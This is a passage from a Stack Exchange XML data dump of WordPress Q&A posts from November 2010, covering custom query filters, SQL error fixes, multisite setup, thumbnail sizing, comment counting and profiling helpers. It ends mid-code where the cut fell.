  <row Id="4591" PostTypeId="2" ParentId="4584" CreationDate="2010-11-27T18:33:46.523" Score="0" ViewCount="" Body="&lt;p&gt;I'm pretty sure that the only way of doing this using the &lt;code&gt;orderby&lt;/code&gt; parameter is to store the vote values in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Codex (http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OrderBy Parameters&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;orderby=meta_value Note: A meta_key=keyname must also be present in the query. Note also that the sorting will be alphabetical&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;orderby=meta_value_num - Order by numeric meta value (available with Version 2.8)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-27T18:33:46.523" CommentCount="1" />
  <row Id="4592" PostTypeId="2" ParentId="4584" CreationDate="2010-11-27T18:36:39.487" Score="0" ViewCount="" Body="&lt;p&gt;If you have your data in separate table adding support for it in query is somewhat messy. Basically you will need to filter &lt;code&gt;posts_where&lt;/code&gt; and &lt;code&gt;posts_join&lt;/code&gt; to modify raw SQL query so that your custom table is joined and checked against your custom values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per [faster :)] anu's suggestion it would make sense to store values in &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields&lt;/a&gt; and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; (related to Orderby, but not same thing) in query.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T18:36:39.487" CommentCount="3" />
  <row Id="4593" PostTypeId="1" AcceptedAnswerId="4599" CreationDate="2010-11-27T20:03:42.617" Score="0" ViewCount="58" Body="&lt;p&gt;Hi I have a website like www.shankpress.com, it is wordpress v3,  and i want my users to have blogs hosted in my site and have url like: blogs.shaknpress.com...and I can show who got the most popular blog entry etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;users can openly register, create a blog, start blogging and so on ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am willing to buy solutions if no free stuff is available...&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2010-11-27T22:29:09.287" Title="Host a blog engine in my wordpress site" Tags="&lt;blog-page&gt;" AnswerCount="2" />
  <row Id="4594" PostTypeId="2" ParentId="4522" CreationDate="2010-11-27T20:27:37.743" Score="1" ViewCount="" Body="&lt;p&gt;The function that includes the comments template &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/comment-template.php#L885&quot; rel=&quot;nofollow&quot;&gt;also (re)loads the comments&lt;/a&gt;. This means that whatever you do before that point, if you don't save it to the database it will not be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to prevent this SQL query from happening, but you can override the results by hooking into the &lt;code&gt;comments_array&lt;/code&gt; filter. I would save your modifications in an array keyed by the comment ID, so you can do quick lookups and replace contents if needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse4522_comments = array();&#xA;&#xA;// Somewhere in your template_redirect (why not wp_head?) hook:&#xA;foreach ($wp_query-&amp;gt;posts as $post) {&#xA;    // Edit post text&#xA;    $post-&amp;gt;post_content = &quot;foo&quot;; // works: ends up at the client&#xA;&#xA;    // Iterate over all approved comments belonging to this post&#xA;    $comments = get_approved_comments($post-&amp;gt;ID);&#xA;    foreach ($comments as $comment) {&#xA;        // Edit comment text&#xA;        $GLOBALS['wpse4522_comments'][$comment-&amp;gt;comment_ID] = 'bar';&#xA;    } &#xA;}&#xA;&#xA;// And this loads the content back into the array from comments_template()&#xA;add_filter( 'comments_array', 'wpse4522_set_comments_content' );&#xA;function wpse5422_set_comments_content( $comments, $post_id )&#xA;{&#xA;    global $wpse4522_comments;&#xA;    foreach ( $comments as &amp;amp;$comment_data ) {&#xA;        if ( array_key_exists( $comment_data-&amp;gt;comment_ID, $wpse4522_comments ) ) {&#xA;            $comment_data-&amp;gt;comment_content = $wpse4522_comments[$comment_data-&amp;gt;comment_ID];&#xA;        }&#xA;    }&#xA;    return $comments;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-27T20:27:37.743" CommentCount="1" />
  <row Id="4595" PostTypeId="2" ParentId="4580" CreationDate="2010-11-27T20:44:07.417" Score="0" ViewCount="" Body="&lt;p&gt;You can't prevent &lt;code&gt;comments_template()&lt;/code&gt; from making an SQL query. Well, you could maybe hook into the DB layer to prevent just that specific query, but that would be very cumbersome to do. If this is for a theme, you could just remove the call to &lt;code&gt;comments_template()&lt;/code&gt; and replace it with your own function. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/comment-template.php#L852&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_template()&lt;/code&gt; doesn't do that much&lt;/a&gt;: just load all the comments, maybe also the just-submitted comment if it isn't approved yet, separate them into pings, trackbacks and regular comments if needed, and load the comments template file. Comments paging is relatively young in WordPress, so it's probably not as efficient as it could be yet.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-27T20:44:07.417" CommentCount="6" />
  <row Id="4596" PostTypeId="2" ParentId="4567" CreationDate="2010-11-27T20:53:44.197" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$comments&lt;/code&gt;, or &lt;code&gt;$wp_query-&amp;gt;comments&lt;/code&gt;, is initialized by &lt;code&gt;comments_template()&lt;/code&gt;, which you call in your template file when you want to load the comment sub-template file. So at the time of &lt;code&gt;template_redirect&lt;/code&gt; it is not yet initialized. As Chris said, you should call &lt;code&gt;get_comments()&lt;/code&gt; and pass it the &lt;code&gt;post_id&lt;/code&gt; of your current post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're doing AJAX calls, even not from the admin side, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress/3612#3612&quot;&gt;you can use &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt; and use special actions hooks&lt;/a&gt;. This shortcuts the usual post queries, which you don't need anyway.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-27T20:53:44.197" CommentCount="2" />
  <row Id="4597" PostTypeId="1" AcceptedAnswerId="4600" CreationDate="2010-11-27T22:17:23.303" Score="2" ViewCount="970" Body="&lt;p&gt;I am in the process of developing a new theme for my blog and am making a featured content slider. The issue that I am having is getting wordpress to force the image to the dimensions that I want it to be. The exact dimensions are 494px x 168px. I've tried simple using &lt;code&gt;the_post_thumbnail( array(494, 168) );&lt;/code&gt;, but that didn't work. I also tried adding a custom image size to my functions file. This would sometimes get the height right (but not always), but didn't get the width right a single time. Could somebody please give me a way to force the dang image to be 494px X 168px?&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2011-01-22T16:44:09.460" Title="Featured Image Size" Tags="&lt;theme-development&gt;&lt;image-size&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4598" PostTypeId="2" ParentId="4593" CreationDate="2010-11-27T22:21:33.037" Score="0" ViewCount="" Body="&lt;p&gt;You can take a look at wordpress MU - it will have all the functionalities you need&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an easy but more &quot;manual way&quot; &#xA;if in your hosting, you have some tools like fantastico or webkits or something, usually they have a tool that automatically installs wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what you have to do is &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a subdomain&lt;/li&gt;&#xA;&lt;li&gt;install wordpress on it&lt;/li&gt;&#xA;&lt;li&gt;email your users their details&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so it depends on how many users you have installed and on how techy/how much you willing to spend time on it&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-27T22:21:33.037" CommentCount="2" />
  <row Id="4599" PostTypeId="2" ParentId="4593" CreationDate="2010-11-27T22:29:09.287" Score="1" ViewCount="" Body="&lt;p&gt;To run multiple blogs on single installation of WordPress you need to enable and configure &lt;code&gt;multisite&lt;/code&gt; functionality, see &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Create a Network&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While that will take care of basics, managing network of blogs controlled by users (rather than single admin/team) reliably and securely will likely require much more research and work.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-27T22:29:09.287" CommentCount="2" />
  <row Id="4600" PostTypeId="2" ParentId="4597" CreationDate="2010-11-27T22:29:40.537" Score="7" ViewCount="" Body="&lt;p&gt;For post thumbnails you can either crop and image to the thumbnail size or scale the image.&#xA;To enable crop you can call the thumbnail 1 of 2 ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Name a size in the functions.php file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php add_image_size( 'my-post-thumbnail', 494, 168, true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and then call it in the theme file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php the_post_thumbnail('my-post-thumbnail'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The true tells wordpress to crop the image rather than scale, to scale leave true out.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Call the size just in the theme file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail(494, 168, true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, the_post_thumbnail doesn't work on images already uploaded. To test if the sizes truly aren't working upload a new file after adding the new thumbnail size/calling it in your theme file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark on Wordpress has a good tutorial on Post Thumbnails&#xA;&lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-27T22:29:40.537" CommentCount="2" />
  <row Id="4601" PostTypeId="1" AcceptedAnswerId="4602" CreationDate="2010-11-27T22:46:58.450" Score="0" ViewCount="245" Body="&lt;p&gt;I'm trying to create a custom post query for sorting posts that have been voted &quot;thumbs up&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm joining my custom &quot;wp_post_votes&quot; table (which stores the number of votes each post received) with the default &quot;wp_posts&quot; table and displaying posts &lt;code&gt;WHERE votes &amp;gt; 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WHERE cause is causing an SQL error. When I remove the &lt;code&gt;posts_where&lt;/code&gt; filter I get no errors but all my posts are displayed regardless of their vote number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('posts_join', 'vote_join' );&#xA;    add_filter('posts_where', 'vote_where' );&#xA;&#xA;    function vp_join( $join )&#xA;    {&#xA;&#xA;      global $wpdb;&#xA;&#xA;      if (isset($_GET['vote_sort'])) { //when visitor browses voted posts&#xA;        $join .= &quot; LEFT JOIN wp_post_votes ON &quot; . &#xA;           $wpdb-&amp;gt;posts . &quot;.ID = wp_vote_posts.vote_post_id &quot;;&#xA;      }&#xA;&#xA;      return $join;&#xA;    }&#xA;&#xA;    function vp_where( $where )&#xA;    {&#xA;      if (isset($_GET['vp_sort'])) {&#xA;        $where = &quot;voted &amp;gt; 1&quot;;&#xA;       }&#xA;&#xA;      return $where;&#xA;    }&#xA;&#xA;//custom permalinks code follows...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SQL error I get in index is..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress database error: [] SELECT&#xA;  t.&lt;em&gt;, tt.&lt;/em&gt; FROM wp_terms AS t INNER&#xA;  JOIN wp_term_taxonomy AS tt ON&#xA;  tt.term_id = t.term_id INNER JOIN&#xA;  wp_term_relationships AS tr ON&#xA;  tr.term_taxonomy_id =&#xA;  tt.term_taxonomy_id WHERE tt.taxonomy&#xA;  IN ('category') AND tr.object_id IN&#xA;  (0) ORDER BY t.name ASC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;..and in my sidebar I have a recent posts widget. In that I get via &lt;code&gt;$wpdb-&amp;gt;show_errors();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress database error: [You have an&#xA;  error in your SQL syntax; check the&#xA;  manual that corresponds to your MySQL&#xA;  server version for the right syntax to&#xA;  use near 'voted &gt; 1 ORDER BY&#xA;  wp_posts.post_date DESC LIMIT 0, 5' at&#xA;  line 1] SELECT SQL_CALC_FOUND_ROWS&#xA;  wp_posts.* FROM wp_posts LEFT JOIN&#xA;  wp_vote_posts ON wp_posts.ID =&#xA;  wp_vote_posts.vote_post_id WHERE 1=1&#xA;  voted &gt; 1 ORDER BY wp_posts.post_date&#xA;  DESC LIMIT 0, 5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I noticed &lt;code&gt;WHERE 1=1 voted &amp;gt; 1&lt;/code&gt;.. not sure if that's causing the error and how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-11-28T17:18:30.997" Title="SQL error with custom query" Tags="&lt;php&gt;&lt;database&gt;&lt;functions&gt;&lt;mysql&gt;&lt;query&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4602" PostTypeId="2" ParentId="4601" CreationDate="2010-11-27T23:06:28.757" Score="1" ViewCount="" Body="&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where .= &quot; AND voted &amp;gt; 1&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;instead of hardcoding table names you should use &lt;code&gt;$wpdb-&amp;gt;prefix . 'post_votes'&lt;/code&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;instead of checking in global &lt;code&gt;$_GET&lt;/code&gt; you should declare your filters as accepting two arguments and code functions accordingly, these filters pass as second argument object that contains all of query data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_where', 'vote_where', 10, 2 );&#xA;&#xA;function vote_where( $where, $query ) {&#xA;&#xA;    if( isset( $query-&amp;gt;query_vars['vp_sort'] ) );&#xA;        $where .= ' AND voted &amp;gt; 1';&#xA;&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-28T17:18:30.997" LastActivityDate="2010-11-28T17:18:30.997" CommentCount="14" />
  <row Id="4603" PostTypeId="2" ParentId="1653" CreationDate="2010-11-28T03:58:13.590" Score="4" ViewCount="" Body="&lt;p&gt;I beg to differ with the previous two comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a static home page results in WP using an index scan on the posts table's primary key, vs an (oh so occasional) index scan on post_date, status or post_parent in the posts table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, the home page is dead slow because of the poor database design in WP. The schema has ludicrous multicolumn indexes on the taxonomy tables which MySQL simply ignores once you've a meaningful amount of posts. The fact that we're using a table too much for taxonomies doesn't help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the database, safely add indexes on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE INDEX extra_posts ON posts (post_type,post_status,post_date DESC)&#xA;CREATE INDEX extra_term_rel ON term_relationships(term_taxonomy_id,object_id)&#xA;CREATE INDEX extra_term_tax ON term_taxonomy(taxonomy,term_taxonomy_id,term_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't be perfect, but at least WP will be able to use index-based nested loop plans on your front page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and... if you're using any kind of custom post type on your front page, you also need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;posts(post_status,post_date DESC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else no index will be used at all for the main query because of the OR clauses.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-11-28T12:09:51.580" LastActivityDate="2010-11-28T12:09:51.580" CommentCount="6" />
  <row Id="4604" PostTypeId="2" ParentId="2738" CreationDate="2010-11-28T04:16:33.960" Score="1" ViewCount="" Body="&lt;p&gt;So to come back and answer my own question and hopefully help someone else, the permalinks are easily rewritten by changing the permalink scheme in Settings &gt; Permalinks.  Change it, then change it back and your .htaccess file will be fixed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2nd problem, the warning message, was a plugin that wrote a static link when I installed it.  I deactivated, then reactivated it and it did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: thanks Lisa, just saw you there!&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2010-11-28T04:16:33.960" />
  <row Id="4605" PostTypeId="2" ParentId="4430" CreationDate="2010-11-28T06:22:25.510" Score="1" ViewCount="" Body="&lt;p&gt;Unbelievable but again I found the solution myself..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's probably u that gave me the inspiration - thanx :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to pass a parameter to bcn_display() in case I dont want to get the &quot;home&quot; link in the trail . &#xA;By default, the parameter  is  set to  true .&lt;br&gt;&#xA;When I don't want the &quot;home&quot; link to be displayed ) send true&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now I have added  the declaration of the parameter in these functions and added  some code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//in file breadcrumb_navxt_class.php&#xA;&#xA;function do_home($displayhome=true)&#xA;{...&#xA;&#xA;if(($this-&amp;gt;opt['home_display'])&amp;amp;&amp;amp;($displayhome))&#xA;&#xA;...}&#xA;&#xA;function fill($displayhome=false)&#xA;{...&#xA;&#xA;if(!is_front_page())&#xA;{&#xA;&#xA;     $this-&amp;gt;do_home($displayhome);&#xA;&#xA;}&#xA;&#xA;...}&#xA;&#xA;function display($displayhome=true,$return = false, $linked = true, $reverse = false)&#xA;{...}&#xA;&#xA;//in file breadcrumb_navxt_admin.php&#xA;&#xA;function display($displayhome=true,$return = false, $linked = true, $reverse = false)&#xA;{&#xA;        //Grab the current settings from the DB&#xA;&#xA;        $this-&amp;gt;breadcrumb_trail-&amp;gt;opt = $this-&amp;gt;get_option('bcn_options');&#xA;&#xA;        //Generate the breadcrumb trail&#xA;&#xA;        $this-&amp;gt;breadcrumb_trail-&amp;gt;fill($displayhome);&#xA;&#xA;        return $this-&amp;gt;breadcrumb_trail-&amp;gt;display($displayhome,$return, $linked, $reverse);&#xA;&#xA;}&#xA;&#xA;function bcn_display($displayhome=true,$return = false, $linked = true, $reverse = false) {&#xA;&#xA;        global $bcn_admin;&#xA;&#xA;        return $bcn_admin-&amp;gt;display($displayhome,$return, $linked, $reverse);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2010-11-28T06:22:25.510" CommentCount="1" />
  <row Id="4606" PostTypeId="1" CreationDate="2010-11-28T07:02:40.333" Score="0" ViewCount="215" Body="&lt;p&gt;I'm making my own comment template (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4580/prevent-wordpress-from-loading-comments&quot;&gt;like this&lt;/a&gt;) and I need to know how can I get the comment and ping count for the current post, maybe using a fast database query or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I can't use &lt;code&gt;count($comments)&lt;/code&gt; or anything like that, because I'm not running the default &lt;code&gt;comments_template()&lt;/code&gt; function which gets all the comments from the database. Instead I'm pulling only the newest 10 comments using &lt;code&gt;get_comments()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post-&amp;gt;comment_count&lt;/code&gt; (apparently initialized by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post&quot; rel=&quot;nofollow&quot;&gt;get_post&lt;/a&gt;) is close to what I'm looking for, but it counts both comments and pings :(&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="600" LastEditorDisplayName="" LastEditDate="2010-11-28T07:11:34.990" LastActivityDate="2010-11-28T11:38:20.407" Title="Fastest way to get the comment and ping total count for a post" Tags="&lt;3.0&gt;&lt;comments&gt;&lt;php&gt;&lt;database&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="4607" PostTypeId="2" ParentId="3986" CreationDate="2010-11-28T10:04:29.693" Score="0" ViewCount="" Body="&lt;p&gt;maybe an easy solution: the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/duplicate-post/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/duplicate-post/&lt;/a&gt; for copy a post&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-28T10:04:29.693" />
  <row Id="4608" PostTypeId="1" AcceptedAnswerId="4613" CreationDate="2010-11-28T10:31:11.573" Score="0" ViewCount="118" Body="&lt;p&gt;I'm seeing a lot of visits in my Analytics to my home page with the query string &quot;?cat=2-5-results&quot;. These pages are getting a lot of traffic. To the best of my knowledge, I'm not using this parameter on my site anywhere. If I google &quot;wordpress ?cat=2-5-results&quot; I find a lot of other sites with the same phantom pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what this means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site: &lt;a href=&quot;http://www.barbadospropertylist.com&quot; rel=&quot;nofollow&quot;&gt;http://www.barbadospropertylist.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are how the pages appear in GA:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/INezh.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2010-11-28T11:19:51.077" LastActivityDate="2010-11-28T12:01:42.773" Title="What does ?cat=2-5-results mean at the end of URLs?" Tags="&lt;taxonomy&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4609" PostTypeId="2" ParentId="4608" CreationDate="2010-11-28T11:02:14.670" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure how exactly it is used, but I have an idea where it comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This exact string is used in &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for WordPress&lt;/a&gt; plugin (&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/google-analytics-for-wordpress/tags/4.0.9/googleanalytics.php#L872&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-28T11:02:14.670" CommentCount="1" />
  <row Id="4610" PostTypeId="2" ParentId="4606" CreationDate="2010-11-28T11:38:20.407" Score="1" ViewCount="" Body="&lt;p&gt;you can use this custom function in the functions.php of the theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * count for trackback, pingback, comment, pings&#xA; *&#xA; * embed like this:&#xA; * fb_comment_type_count('pings');&#xA; * fb_comment_type_count('comment');&#xA; */&#xA;if ( !function_exists('fb_comment_type_count') ) {&#xA;        function fb_get_comment_type_count( $type='all', $zero = false, $one = false, $more = false, $post_id = 0) {&#xA;                global $cjd_comment_count_cache, $id, $post;&#xA;&#xA;                if ( !$post_id )&#xA;                        $post_id = $post-&amp;gt;ID;&#xA;                if ( !$post_id )&#xA;                        return;&#xA;&#xA;                if ( !isset($cjd_comment_count_cache[$post_id]) ) {&#xA;                        $p = get_post($post_id);&#xA;                        $p = array($p);&#xA;                        fb_update_comment_type_cache($p);&#xA;                }&#xA;                ;&#xA;                if ( $type == 'pingback' || $type == 'trackback' || $type == 'comment' )&#xA;                        $count = $cjd_comment_count_cache[$post_id][$type];&#xA;                elseif ( $type == 'pings' )&#xA;                        $count = $cjd_comment_count_cache[$post_id]['pingback'] + $cjd_comment_count_cache[$post_id]['trackback'];&#xA;                else&#xA;                        $count = array_sum((array) $cjd_comment_count_cache[$post_id]);&#xA;&#xA;                return apply_filters('fb_get_comment_type_count', $count);&#xA;        }&#xA;&#xA;        // comment, trackback, pingback, pings, all&#xA;        function fb_comment_type_count( $type='all', $zero = false, $one = false, $more = false, $post_id = 0 ) {&#xA;&#xA;                $number = fb_get_comment_type_count( $type, $zero, $one, $more, $post_id );&#xA;                if ($type == 'all') {&#xA;                        $type_string_single = __('Kommentar', FB_BASIS_TEXTDOMAIN);&#xA;                        $type_string_plural = __('Kommentare', FB_BASIS_TEXTDOMAIN);&#xA;                } elseif ($type == 'pings') {&#xA;                        $type_string_single = __('Ping und Trackback', FB_BASIS_TEXTDOMAIN);&#xA;                        $type_string_plural = __('Pings und Trackbacks', FB_BASIS_TEXTDOMAIN);&#xA;                } elseif ($type == 'pingback') {&#xA;                        $type_string_single = __('Pingback', FB_BASIS_TEXTDOMAIN);&#xA;                        $type_string_plural = __('Pingbacks', FB_BASIS_TEXTDOMAIN);&#xA;                } elseif ($type == 'trackback') {&#xA;                        $type_string_single = __('Trackback', FB_BASIS_TEXTDOMAIN);&#xA;                        $type_string_plural = __('Trackbacks', FB_BASIS_TEXTDOMAIN);&#xA;                } elseif ($type == 'comment') {&#xA;                        $type_string_single = __('Kommentar', FB_BASIS_TEXTDOMAIN);&#xA;                        $type_string_plural = __('Kommentare', FB_BASIS_TEXTDOMAIN);&#xA;                }&#xA;&#xA;                if ( $number &amp;gt; 1 )&#xA;                        $output = str_replace('%', number_format_i18n($number), ( false === $more ) ? __('%', FB_BASIS_TEXTDOMAIN) . ' ' . $type_string_plural : $more);&#xA;                elseif ( $number == 0 )&#xA;                        $output = ( false === $zero ) ? __('Keine', FB_BASIS_TEXTDOMAIN) . ' ' . $type_string_plural : $zero;&#xA;                else // must be one&#xA;                        $output = ( false === $one ) ? __('Ein', FB_BASIS_TEXTDOMAIN) . ' ' . $type_string_single : $one;&#xA;&#xA;                echo apply_filters('fb_comment_type_count', $output, $number);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this function give you the count of pingback, trackback, comments or all, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;comments&quot;&amp;gt;&amp;lt;?php fb_comment_type_count( 'comment' ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use the follow parameter for return the counter: comment, trackback, pingback, pings or all&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-28T11:38:20.407" CommentCount="2" />
  <row Id="4611" PostTypeId="2" ParentId="4587" CreationDate="2010-11-28T11:45:26.860" Score="1" ViewCount="" Body="&lt;p&gt;You must check, how was fired this inside BP; maybe the hook plugins_loaded cam later as the functions.php of the Theme, she is very fast and before plugins. You can set a new priotity wuth the value. Add your plugin via init-hook and after this include your remove_action.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-28T11:45:26.860" />
  <row Id="4612" PostTypeId="2" ParentId="1567" CreationDate="2010-11-28T11:59:08.393" Score="13" ViewCount="" Body="&lt;h2&gt;Wordpress Profiling tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I like to add profiling tools in a separate file, which I then include from functions.php when needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( !defined('SAVEQUERIES') &amp;amp;&amp;amp; isset($_GET['debug']) &amp;amp;&amp;amp; $_GET['debug'] == 'sql' )&#xA;    define('SAVEQUERIES', true);&#xA;if ( !function_exists('dump') ) :&#xA;/**&#xA; * dump()&#xA; *&#xA; * @param mixed $in&#xA; * @return mixed $in&#xA; **/&#xA;&#xA;function dump($in = null) {&#xA;    echo '&amp;lt;pre style=&quot;margin-left: 0px; margin-right: 0px; padding: 10px; border: solid 1px black; background-color: ghostwhite; color: black; text-align: left;&quot;&amp;gt;';&#xA;    foreach ( func_get_args() as $var ) {&#xA;        echo &quot;\n&quot;;&#xA;        if ( is_string($var) ) {&#xA;            echo &quot;$var\n&quot;;&#xA;        } else {&#xA;            var_dump($var);&#xA;        